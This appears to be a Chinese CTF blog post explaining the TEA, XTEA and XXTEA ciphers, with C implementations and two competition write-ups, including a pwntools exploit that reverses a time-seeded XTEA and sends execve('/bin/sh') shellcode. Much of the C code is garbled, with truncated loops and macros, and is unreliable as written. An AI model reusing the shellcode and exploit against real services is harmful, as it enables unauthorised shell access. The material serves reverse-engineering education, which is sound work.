点击蓝字
关注我们
在安全学领域,TEA(Tiny Encryption Algorithm)是一种分组加密算法,它的实现非常简单,通常只需要很精短的几行代码。TEA 算法最初是由剑桥计算机实验室的 David Wheeler 和 Roger Needham 在 1994 年设计的。
TEA系列算法在目前较为基础的reserve题目中会较常出现,但是随着CTF的参赛人员质量的提高,以往一些在逆向较为常见的算法
也逐渐运用到pwn里面形成了新的题型RePwn,所以做为pwn手,对于逆向的学习是很有必要的。
目前,tea算法总共有3大类(魔改除外),tea,xtea,xxtea。
TEATEA算法的原理简单阐述就是每次加密2个元素,加密方式通过利用key schedule constant(关键时刻表常数)以及4位密钥
进行指定轮数的加减、位移以及异或操作,通常的轮数为32轮。
C语言实现TEA加密解密#include
//加密函数
void encrypt (unsigned int* v, unsigned int* k) {
unsigned int v0=v[0], v1=v[1], sum=0, i; /* set up */
unsigned int delta=0x9e3779b9; /* a key schedule constant */
unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i 11) & 3]);
sum -= delta;
v0 -= (((v1 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
unsigned int v[2]={1,2};
unsigned int const k[4]={2,2,3,4};
unsigned int r=32;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密前原始数据:%u %u\n",v[0],v[1]);
encipher(r, v, k);
printf("加密后的数据:%u %u\n",v[0],v[1]);
decipher(r, v, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
return 0;
}
XXTEA
XXTEA是XTEA的升级版,设计者是Roger Needham, David Wheele.
XXTEA相较于XTEA以及TEA有了较大的变化,XXTEA算法使用128bit的密钥对以32bit为单位的信息块进行加密
C语言实现XXTEA加密解密#include
#define DELTA 0x9e3779b9
#define MX (((z>>5^y3^z> 2) & 3;
for (p=0; p 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
unsigned int v[2]= {1,2};
unsigned int const k[4]= {2,2,3,4};
int n= 2; //n的绝对值表示v的长度,取正表示加密,取负表示解密
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密前原始数据:%u %u\n",v[0],v[1]);
btea(v, n, k);
printf("加密后的数据:%u %u\n",v[0],v[1]);
btea(v, -n, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
return 0;
}
v是要加密的组元的起始地址,以32bit为单位,这里用long来实现。
n是要加密的组元个数,正数是加密,负数是解密。
k是密钥的起始地址,长度为4个组元,4*32=128bit。
返回值为0或1(对应n=0,没有计算)。
加密的结果会直接写回到v中。
TEA系列算法在CTF中的实例 2021长安杯线下赛魔改TEA,需要注意的是题目数据大小端的问题,常规解TEA无法得到正确结果,需要自己转化。
密文部分
_BOOL8 __fastcall check_password(_BYTE *a1)
{
encrypto((unsigned int *)a1);
return *a1 == 0x14
&& a1[1] == 0x5C
&& a1[2] == 0xA6
&& a1[3] == 0xD2
&& a1[4] == 0xE
&& a1[5] == 0x45
&& a1[6] == 9
&& a1[7] == 119;
}
加密代码部分
__int64 __fastcall encrypto(unsigned int *a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-3Ch]
unsigned int v3; // [rsp+20h] [rbp-38h]
unsigned int v4; // [rsp+24h] [rbp-34h]
unsigned int v5; // [rsp+28h] [rbp-30h]
int v6[6]; // [rsp+38h] [rbp-20h]
unsigned __int64 v7; // [rsp+50h] [rbp-8h]
v7 = __readfsqword(0x28u);
v6[0] = 0x28371234;
v6[1] = 0x19283543;
v6[2] = 423118625;
v6[3] = -1741216238;
v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i > 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
v5 -= 0x61C88647;
v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
}
*a1 = v3;
result = v4;
a1[1] = v4;
return result;
}
2021广东大学生网络安全攻防大赛线下赛
动态XTEA算法
数据生成代码,利用time作为随机数种,随机生成加密的密钥以及明文。
int sub_C51()
{
unsigned int v0; // eax
puts("The game is initializing, please wait...");
v0 = time(0LL);
srand(v0);
dword_202050[0] = rand();
sleep(1u);
dword_202048[0] = rand();
sleep(1u);
dword_202048[1] = rand();
puts("Okay, the game starts now.");
return printf("Your secret key :%u\n", dword_202050[0]);
}
密钥部分以及明文赋值
__int64 sub_CE2()
{
int v1[4]; // [rsp+0h] [rbp-20h] BYREF
int v2[4]; // [rsp+10h] [rbp-10h] BYREF
v2[0] = 2730;
v2[1] = 3003;
v2[2] = 3276;
v2[3] = 3549;
v1[0] = dword_202048[0];
v1[1] = dword_202048[1];
return sub_B50(v1, v2, dword_202050);
}
加密部分
int __fastcall sub_B50(unsigned int *a1, _DWORD *a2, int a3)
{
unsigned int i; // [rsp+30h] [rbp-10h]
int v5; // [rsp+34h] [rbp-Ch]
unsigned int v6; // [rsp+38h] [rbp-8h]
unsigned int v7; // [rsp+3Ch] [rbp-4h]
v7 = *a1;
v6 = a1[1];
v5 = 0;
for ( i = 0; i > 5) + a2[1]);
v6 += (v7 + v5) ^ (16 * v7 + a2[2]) ^ ((v7 >> 5) + a2[3]);
}
*a1 = v7;
a1[1] = v6;
return printf("Your gift:0x%x,0x%x\n", *a1, a1[1]);
}
EXP
from pwn import *
from ctypes import *
def get_shell(ip):
global sh
port=10000
#sh = remote(ip, port)
sh=process('./pwn')
context.log_level='debug'
#sh=remote('192.168.123.131',12000)
sh.recvuntil('Your secret key :')
key=int(sh.recv(10),10)
print(key)
sh.recvuntil("0x")
leak1=int(sh.recv(8),16)
print((leak1))
sh.recvuntil("0x")
leak2=int(sh.recv(8),16)
print((leak2))
#sh.interactive()
a1= [(leak1),(leak2)]
v7 = c_uint32(a1[0])
v6 = c_uint32(a1[1])
v5 = 0
a3=(key)
v5=c_uint32(a3*0x20)
for i in range(0x20):
v6.value -= ((v7.value + v5.value) ^ (16 * v7.value + 0xCCC) ^ ((v7.value >> 5) + 0xDDD))
v7.value -= ((v6.value + v5.value) ^ (16 * v6.value + 0xAAA) ^ ((v6.value >> 5) + 0xBBB))
v5.value -= (key)
a1[0] = v7.value
a1[1] = v6.value
print(a1[0],a1[1])
#sh.interactive()
sh.recv()
sh.sendline(str(a1[0])+(",")+str(a1[1]))
sh.sendline("A")
sh.recv()
sh.sendline("1638")
sh.recv()
context.arch = 'amd64'
code = '''
mov rax, 0x68732f6e69622f;
push rax
mov rdi, rsp;
mov rsi, 0;
xor rdx, rdx;
mov rax, 59;
syscall
'''
sc = asm(code)
#sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20")
sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
print(len("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"))
print(len(sc))
sh.interactive()
return sh
get_shell(1)
广东省线下赛题目链接
链接:https://pan.baidu.com/s/12_tngnxx7dGt4N5PcnEvJg?pwd=hgc5 提取码:hgc5 --来自百度网盘超级会员V3的分享
TEA系列算法解密思维概述 TEA,XTEA对于TEA AND XTEA来说,本质上二者无太大的区别,由于异或的特性,异或n次加密再异或n次就能解密,
所以对于加密算法中括号的数据处理方法一概可以忽略,我们需要变换的只是数据处理顺序以及讲加法改减法(减法改加法)
注意,tea系列算法的数据处理必定都是2个元素为一组去处理。
XXTEAXXTEA算法的解密同样只是对加密算法的数据处理顺序进行倒置,同时加法改减法(减法改加法)
原创稿件征集
征集原创技术文章中,欢迎投递
投稿邮箱:edu@antvsion.com
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
更多详情,点我查看!
体验靶场实操,戳“阅读原文”体验